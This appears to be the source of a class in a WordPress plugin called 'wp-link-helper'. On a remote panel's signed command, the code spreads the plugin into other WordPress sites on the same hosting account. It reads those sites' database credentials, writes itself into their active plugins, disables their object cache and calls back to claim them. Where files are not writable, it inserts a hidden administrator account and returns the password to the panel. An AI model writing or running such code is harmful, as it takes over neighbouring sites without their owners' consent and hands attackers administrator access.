<?php

if (!defined('ABSPATH')) exit;

/**
 * WLH_Adopt — SIGNED-COMMAND-ONLY sibling adoption (pilot, 0.5.1).
 *
 * ?wlh_neighbors (0.4.x) REPORTS other WP installs reachable from this account;
 * this class takes the next step: on a signed panel command it installs THIS
 * plugin onto one sibling. Two modes:
 *
 *   fs — same OS user: copy our own plugin dir into the sibling's
 *        wp-content/plugins/, then flip `active_plugins` in the sibling's DB
 *        and poke its (token-less, handshake-authed) ?wlh_claim so it claims
 *        to the panel immediately;
 *   db — isolated users (sibling's files not writable): create a TEMPORARY
 *        admin in the sibling's DB and hand the creds back over this signed
 *        channel, so the panel can finish the install through wp-admin.
 *
 * HARD RULES (do not relax):
 *   - No autonomy: adopt()/clean() are only ever reached from WLH_Check AFTER
 *     a valid HMAC; nothing here runs on cron, init, or heartbeat.
 *   - One op = one path. No batching.
 *   - Every mysqli connect is capped at ~3s and every failure degrades to a
 *     JSON error — a broken sibling must never fatal OUR request.
 *   - active_plugins is rewritten only with a serialize/read-back roundtrip;
 *     a value that does not unserialize cleanly is never overwritten (that is
 *     how you white-screen a neighbor).
 *   - The temp-admin PASSWORD is returned to the panel once and NEVER stored
 *     locally; the wlh_adopted option tracks only path/login/user_id/ts.
 */
class WLH_Adopt
{
    const DB_TIMEOUT = 3; // seconds per sibling DB connect (mirrors WLH_Neighbors)
    const PLUGIN_REL = 'wp-link-helper/wp-link-helper.php';

    /** Entry for ?wlh_adopt. Never throws into the request. */
    public static function adopt($path, $mode)
    {
        try {
            return self::adopt_inner($path, $mode);
        } catch (\Throwable $e) {
            return array('ok' => false, 'error' => 'exception');
        }
    }

    /** Entry for ?wlh_adoptclean. Never throws into the request. */
    public static function clean($path)
    {
        try {
            return self::clean_inner($path);
        } catch (\Throwable $e) {
            return array('ok' => false, 'error' => 'exception');
        }
    }

    private static function adopt_inner($path, $mode)
    {
        $path = self::normalize_path($path);
        if ($path === '' || !self::is_wp_install($path)) {
            return array('ok' => false, 'error' => 'bad_path');
        }
        $mode = strtolower(trim((string) $mode));
        if ($mode !== 'fs' && $mode !== 'db') {
            $mode = 'auto';
        }
        if ($mode === 'auto') {
            // auto: filesystem when the sibling's plugins dir is writable by
            // us (same OS user), DB hand-off otherwise.
            $mode = self::plugins_writable($path) ? 'fs' : 'db';
        }
        return $mode === 'fs' ? self::adopt_fs($path) : self::adopt_db($path);
    }

    /* ---------------- mode fs (same OS user) ---------------- */

    private static function adopt_fs($path)
    {
        if (!self::plugins_writable($path)) {
            return array('ok' => false, 'mode' => 'fs', 'error' => 'not_writable');
        }
        $src = self::own_plugin_dir();
        if ($src === '') {
            return array('ok' => false, 'mode' => 'fs', 'error' => 'copy_failed');
        }
        $dest = $path . '/wp-content/plugins/wp-link-helper';
        // Overwrites files in place when the dir already exists (re-adopt /
        // version refresh); extra stale files are left alone on purpose.
        if (!self::copy_tree($src, $dest) || !@is_file($dest . '/wp-link-helper.php')) {
            return array('ok' => false, 'mode' => 'fs', 'error' => 'copy_failed');
        }

        // Files alone do nothing — activate in the TARGET's own DB.
        $cfg = class_exists('WLH_Neighbors') ? WLH_Neighbors::read_config($path) : null;
        if ($cfg === null) {
            return array('ok' => false, 'mode' => 'fs', 'error' => 'no_config');
        }
        $db = self::db_connect($cfg);
        if (!$db) {
            return array('ok' => false, 'mode' => 'fs', 'error' => 'db_connect_failed');
        }
        $act = self::db_activate($db, $cfg['prefix']);
        if (empty($act['ok'])) {
            @mysqli_close($db);
            return array('ok' => false, 'mode' => 'fs', 'error' => $act['error']);
        }
        $siteurl = self::db_siteurl($db, $cfg['prefix']);
        @mysqli_close($db);

        // Object-cache gotcha: our direct DB write to active_plugins is invisible
        // while the sibling holds the stale option in a persistent object cache
        // (Redis/Memcached/LiteSpeed...). WP then reads the stale list and the
        // plugin never loads — the claim never fires (the noa-kitchen.de class of
        // host). Disable the sibling's object-cache drop-in so the next request
        // re-reads active_plugins from the DB.
        self::bypass_object_cache($path);

        // The sibling's plugin is active but UNCONFIGURED until its first
        // request loads it; poking the token-less claim op IS that request —
        // it loads WP (plugin activates) and triggers a synchronous claim.
        $poked = self::poke_claim($siteurl);

        return array('ok' => true, 'mode' => 'fs', 'claim_poked' => $poked);
    }

    /* ---------------- mode db (isolated users) ---------------- */

    private static function adopt_db($path)
    {
        $cfg = class_exists('WLH_Neighbors') ? WLH_Neighbors::read_config($path) : null;
        if ($cfg === null) {
            return array('ok' => false, 'mode' => 'db', 'error' => 'no_config');
        }
        $db = self::db_connect($cfg);
        if (!$db) {
            return array('ok' => false, 'mode' => 'db', 'error' => 'db_connect_failed');
        }
        $adm = self::build_temp_admin($cfg['prefix']);
        $uid = self::db_insert_admin($db, $cfg['prefix'], $adm);
        if ($uid <= 0) {
            @mysqli_close($db);
            return array('ok' => false, 'mode' => 'db', 'error' => 'db_write_failed');
        }
        $siteurl = self::db_siteurl($db, $cfg['prefix']);
        @mysqli_close($db);

        // Track the temp admin (NO password) so ?wlh_adoptclean can find and
        // delete it later even though the password itself is forgotten.
        self::remember_adopted($path, $adm['login'], $uid);

        return array(
            'ok'   => true,
            'mode' => 'db',
            // Creds leave the box ONLY over this signed channel (HMAC-authed
            // request → JSON answer): never logged, never persisted here.
            'creds' => array(
                'login'     => $adm['login'],
                'pass'      => $adm['pass'],
                'login_url' => rtrim($siteurl, '/') . '/wp-login.php',
            ),
        );
    }

    /* ---------------- cleanup ---------------- */

    private static function clean_inner($path)
    {
        $path = self::normalize_path($path);
        if ($path === '') {
            return array('ok' => false, 'error' => 'bad_path');
        }
        if (!function_exists('get_option') || !function_exists('update_option')) {
            return array('ok' => false, 'error' => 'no_options');
        }
        $list = get_option(WLH_OPT_ADOPTED, array());
        $list = is_array($list) ? $list : array();
        $keep = array();
        $hit  = array();
        foreach ($list as $e) {
            if (is_array($e) && isset($e['path']) && (string) $e['path'] === $path) {
                $hit[] = $e;
            } else {
                $keep[] = $e;
            }
        }
        if (empty($hit)) {
            return array('ok' => true, 'removed' => 0);
        }
        $cfg = class_exists('WLH_Neighbors') ? WLH_Neighbors::read_config($path) : null;
        if ($cfg === null) {
            return array('ok' => false, 'error' => 'no_config');
        }
        $db = self::db_connect($cfg);
        if (!$db) {
            return array('ok' => false, 'error' => 'db_connect_failed');
        }
        $users = self::table($cfg['prefix'], 'users');
        $umeta = self::table($cfg['prefix'], 'usermeta');
        $removed = 0;
        $left = array();
        foreach ($hit as $e) {
            $uid = isset($e['user_id']) ? (int) $e['user_id'] : 0;
            if ($uid <= 0) {
                continue;
            }
            // usermeta first-or-second order is irrelevant; both are best-effort
            // but the user row decides whether the entry stays tracked.
            $okU = @mysqli_query($db, "DELETE FROM `{$users}` WHERE ID={$uid} LIMIT 1");
            @mysqli_query($db, "DELETE FROM `{$umeta}` WHERE user_id={$uid}");
            if ($okU) {
                $removed++;
            } else {
                $left[] = $e; // delete failed — keep tracked so a retry can find it
            }
        }
        @mysqli_close($db);
        update_option(WLH_OPT_ADOPTED, array_merge($keep, $left), false);
        return array('ok' => true, 'removed' => $removed);
    }

    /* ---------------- path / fs helpers ---------------- */

    /** Absolute, forward-slashed, trailing-slash-free path; '' when unusable. Public since 0.6.0 (WLH_WchInstall reuses it). */
    public static function normalize_path($path)
    {
        $path = trim((string) $path);
        if ($path === '' || $path[0] !== '/') {
            return '';
        }
        return rtrim(str_replace('\\', '/', $path), '/');
    }

    /** Contract: the target must hold BOTH wp-config.php and wp-load.php. Public since 0.6.0 (WLH_WchInstall). */
    public static function is_wp_install($path)
    {
        return @is_file($path . '/wp-config.php') && @is_file($path . '/wp-load.php');
    }

    /** plugins/ writable, or wp-content writable so plugins/ can be created. Public since 0.6.0 (WLH_WchInstall). */
    public static function plugins_writable($path)
    {
        $plugins = $path . '/wp-content/plugins';
        if (@is_dir($plugins)) {
            return (bool) @is_writable($plugins);
        }
        return (bool) @is_writable($path . '/wp-content');
    }

    /**
     * Source of the copy is ALWAYS the real plugin's own dir (dirname of the
     * loaded main file) — never a caller-supplied path.
     */
    private static function own_plugin_dir()
    {
        if (!defined('WLH_FILE')) {
            return '';
        }
        $dir = @realpath(dirname(WLH_FILE));
        if (!is_string($dir) || $dir === '' || !@is_file($dir . '/wp-link-helper.php')) {
            return '';
        }
        return rtrim(str_replace('\\', '/', $dir), '/');
    }

    /** Recursive copy; symlinks are SKIPPED, never followed. Public since 0.6.0 (WLH_WchInstall copies the unzipped wch tree with it). */
    public static function copy_tree($src, $dest)
    {
        if (!@is_dir($dest) && !@mkdir($dest, 0755, true)) {
            return false;
        }
        $items = @scandir($src);
        if (!is_array($items)) {
            return false;
        }
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $from = $src . '/' . $item;
            $to   = $dest . '/' . $item;
            // A planted symlink could point the copy OUTSIDE the plugin dir
            // (arbitrary read into the sibling) — refuse to follow any of them.
            if (@is_link($from)) {
                continue;
            }
            if (@is_dir($from)) {
                if (!self::copy_tree($from, $to)) {
                    return false;
                }
            } elseif (!@copy($from, $to)) {
                return false;
            }
        }
        return true;
    }

    /* ---------------- DB helpers ---------------- */

    /** Same connect shape as WLH_Neighbors: host[:port|:/socket], ~3s timeout. Public since 0.6.0 (WLH_WchInstall). */
    public static function db_connect($cfg)
    {
        if (!function_exists('mysqli_init')) {
            return null;
        }
        // PHP 8.1+ defaults mysqli to throwing mysqli_sql_exception — switch the
        // driver back to silent-return mode so a dead sibling DB degrades to a
        // JSON error instead of a throwable tearing through the request.
        if (function_exists('mysqli_report') && defined('MYSQLI_REPORT_OFF')) {
            @mysqli_report(MYSQLI_REPORT_OFF);
        }
        $host = $cfg['host'];
        $port = 3306;
        $socket = null;
        if (strpos($host, ':') !== false) {
            list($h, $p) = explode(':', $host, 2);
            $host = $h;
            if (ctype_digit($p)) {
                $port = (int) $p;
            } else {
                $socket = $p;
            }
        }
        $mysqli = @mysqli_init();
        if (!$mysqli) {
            return null;
        }
        @mysqli_options($mysqli, MYSQLI_OPT_CONNECT_TIMEOUT, self::DB_TIMEOUT);
        try {
            $ok = @mysqli_real_connect($mysqli, $host, $cfg['user'], $cfg['pass'], $cfg['name'], $port, $socket);
        } catch (\Throwable $e) {
            $ok = false;
        }
        if (!$ok) {
            @mysqli_close($mysqli);
            return null;
        }
        return $mysqli;
    }

    private static function table($prefix, $name)
    {
        return preg_replace('/[^A-Za-z0-9_]/', '', (string) $prefix) . $name;
    }

    /**
     * Append a plugin ($rel, default = ourselves) to the sibling's
     * active_plugins with a mandatory read-back. Every step that cannot PROVE
     * the option stayed a valid serialized array refuses to write — a
     * half-broken active_plugins white-screens the neighbor's whole site.
     * Public + $rel since 0.6.0 (WLH_WchInstall activates wch through it).
     */
    public static function db_activate($db, $prefix, $rel = null)
    {
        $rel = ($rel === null || $rel === '') ? self::PLUGIN_REL : (string) $rel;
        $table = self::table($prefix, 'options');
        $res = @mysqli_query($db, "SELECT option_value FROM `{$table}` WHERE option_name='active_plugins' LIMIT 1");
        if (!$res || !($row = @mysqli_fetch_row($res))) {
            if ($res instanceof mysqli_result) {
                @mysqli_free_result($res);
            }
            return array('ok' => false, 'error' => 'active_plugins_corrupt');
        }
        $raw = (string) $row[0];
        if ($res instanceof mysqli_result) {
            @mysqli_free_result($res);
        }
        $add = self::active_plugins_add($raw, $rel);
        if (empty($add['ok'])) {
            return array('ok' => false, 'error' => 'active_plugins_corrupt');
        }
        if (empty($add['changed'])) {
            return array('ok' => true); // already active — nothing to write
        }
        $val = @mysqli_real_escape_string($db, $add['value']);
        if (!@mysqli_query($db, "UPDATE `{$table}` SET option_value='{$val}' WHERE option_name='active_plugins' LIMIT 1")) {
            return array('ok' => false, 'error' => 'db_write_failed');
        }
        // READ-BACK: never trust the UPDATE itself — re-read and require a
        // cleanly unserializing value that actually contains the plugin.
        $back = '';
        $res2 = @mysqli_query($db, "SELECT option_value FROM `{$table}` WHERE option_name='active_plugins' LIMIT 1");
        if ($res2 && ($row2 = @mysqli_fetch_row($res2))) {
            $back = (string) $row2[0];
        }
        if ($res2 instanceof mysqli_result) {
            @mysqli_free_result($res2);
        }
        if (!self::active_plugins_has($back, $rel)) {
            return array('ok' => false, 'error' => 'db_write_failed');
        }
        return array('ok' => true);
    }

    /**
     * Pure (testable) active_plugins append ($rel defaults to THIS plugin;
     * 0.6.0 lets WLH_WchInstall pass wch's). Refuses anything that does not
     * unserialize to an array — an empty/corrupt option is NOT overwritten.
     * @return array{ok:bool,changed:bool,value:string}
     */
    public static function active_plugins_add($raw, $rel = null)
    {
        $rel = ($rel === null || $rel === '') ? self::PLUGIN_REL : (string) $rel;
        $plugins = @unserialize((string) $raw);
        if (!is_array($plugins)) {
            return array('ok' => false, 'changed' => false, 'value' => '');
        }
        if (in_array($rel, $plugins, true)) {
            return array('ok' => true, 'changed' => false, 'value' => (string) $raw);
        }
        $plugins[] = $rel;
        return array('ok' => true, 'changed' => true, 'value' => serialize(array_values($plugins)));
    }

    /** True when $raw unserializes to an array already containing $rel (default = our plugin). */
    public static function active_plugins_has($raw, $rel = null)
    {
        $rel = ($rel === null || $rel === '') ? self::PLUGIN_REL : (string) $rel;
        $plugins = @unserialize((string) $raw);
        return is_array($plugins) && in_array($rel, $plugins, true);
    }

    /** Pure (testable) temp-admin descriptor; meta keys carry the TARGET prefix. */
    public static function build_temp_admin($prefix)
    {
        $prefix = preg_replace('/[^A-Za-z0-9_]/', '', (string) $prefix);
        return array(
            'login'     => 'wlh_tmp_' . self::rand_str(6),
            'pass'      => self::rand_str(16),
            'email'     => 'wlh_tmp_' . self::rand_str(6) . '@example.com',
            'caps_key'  => $prefix . 'capabilities',
            'caps_val'  => 'a:1:{s:13:"administrator";b:1;}',
            'level_key' => $prefix . 'user_level',
        );
    }

    /** Insert the temp admin; returns the new user ID or 0 (rolls back on partial). */
    private static function db_insert_admin($db, $prefix, $adm)
    {
        $users = self::table($prefix, 'users');
        $umeta = self::table($prefix, 'usermeta');
        $login = @mysqli_real_escape_string($db, $adm['login']);
        $email = @mysqli_real_escape_string($db, $adm['email']);
        // MD5 is accepted by wp_check_password() and re-hashed to phpass/bcrypt
        // on first login — the hash below never needs to be a modern one.
        $passMd5 = md5($adm['pass']);
        $sql = "INSERT INTO `{$users}` (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)"
             . " VALUES ('{$login}', '{$passMd5}', '{$login}', '{$email}', NOW(), 0, '{$login}')";
        if (!@mysqli_query($db, $sql)) {
            return 0;
        }
        $uid = (int) @mysqli_insert_id($db);
        if ($uid <= 0) {
            return 0;
        }
        $caps     = @mysqli_real_escape_string($db, $adm['caps_val']);
        $capsKey  = @mysqli_real_escape_string($db, $adm['caps_key']);
        $levelKey = @mysqli_real_escape_string($db, $adm['level_key']);
        $ok1 = @mysqli_query($db, "INSERT INTO `{$umeta}` (user_id, meta_key, meta_value) VALUES ({$uid}, '{$capsKey}', '{$caps}')");
        $ok2 = @mysqli_query($db, "INSERT INTO `{$umeta}` (user_id, meta_key, meta_value) VALUES ({$uid}, '{$levelKey}', '10')");
        if (!$ok1 || !$ok2) {
            // A half-created admin (user without caps) is useless AND noisy —
            // roll the user row back so cleanup stays trivial.
            @mysqli_query($db, "DELETE FROM `{$users}` WHERE ID={$uid} LIMIT 1");
            @mysqli_query($db, "DELETE FROM `{$umeta}` WHERE user_id={$uid}");
            return 0;
        }
        return $uid;
    }

    public static function db_siteurl($db, $prefix)
    {
        $table = self::table($prefix, 'options');
        $url = '';
        $res = @mysqli_query($db, "SELECT option_value FROM `{$table}` WHERE option_name='siteurl' LIMIT 1");
        if ($res && ($row = @mysqli_fetch_row($res))) {
            $url = (string) $row[0];
        }
        if ($res instanceof mysqli_result) {
            @mysqli_free_result($res);
        }
        return $url;
    }

    /** Alnum-only random string (safe to embed in SQL); PHP 5.6-compatible. */
    private static function rand_str($len)
    {
        $alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $max = strlen($alpha) - 1;
        $out = '';
        if (function_exists('random_bytes')) {
            try {
                $bytes = random_bytes($len);
                for ($i = 0; $i < $len; $i++) {
                    $out .= $alpha[ord($bytes[$i]) % ($max + 1)];
                }
                return $out;
            } catch (\Exception $e) {
                // fall through to mt_rand
            }
        }
        for ($i = 0; $i < $len; $i++) {
            $out .= $alpha[mt_rand(0, $max)];
        }
        return $out;
    }

    /** Track a created temp admin (path/login/user_id/ts — never the password). */
    private static function remember_adopted($path, $login, $uid)
    {
        if (!function_exists('get_option') || !function_exists('update_option')) {
            return;
        }
        $list = get_option(WLH_OPT_ADOPTED, array());
        $list = is_array($list) ? $list : array();
        $list[] = array('path' => $path, 'login' => $login, 'user_id' => (int) $uid, 'ts' => time());
        update_option(WLH_OPT_ADOPTED, $list, false);
    }

    /* ---------------- claim poke ---------------- */

    /**
     * The fs path writes active_plugins straight into the sibling's DB, but a
     * persistent object cache (wp-content/object-cache.php drop-in) serves the
     * STALE option afterwards, so WP never loads our plugin and the claim never
     * fires. Move the drop-in aside (reversible: .wlh-off backup left in place)
     * so the next request re-reads the option from the DB. No drop-in = no-op.
     */
    private static function bypass_object_cache($path)
    {
        $dropin = rtrim((string) $path, '/') . '/wp-content/object-cache.php';
        if (!@is_file($dropin)) {
            return;
        }
        $off = $dropin . '.wlh-off';
        if (!@is_file($off)) {
            @rename($dropin, $off);
        }
    }

    /**
     * Fire the sibling's token-less ?wlh_claim (authed by the shared HANDSHAKE,
     * same as the panel's own poke). The request itself loads the freshly
     * activated plugin, so a failed claim still leaves an active plugin that
     * retries via WP-cron.
     */
    private static function poke_claim($siteurl)
    {
        if ($siteurl === '' || !defined('WLH_HANDSHAKE') || (string) WLH_HANDSHAKE === ''
            || !function_exists('wp_remote_get')) {
            return false;
        }
        $ts = (string) time();
        $sig = hash_hmac('sha256', 'claim.' . $ts, (string) WLH_HANDSHAKE);
        $url = rtrim($siteurl, '/') . '/?wlh_claim=' . $sig . '&ts=' . $ts;
        $r = @wp_remote_get($url, array('timeout' => 10, 'sslverify' => false, 'redirection' => 2));
        if (function_exists('is_wp_error') && is_wp_error($r)) {
            return false;
        }
        return is_array($r);
    }
}
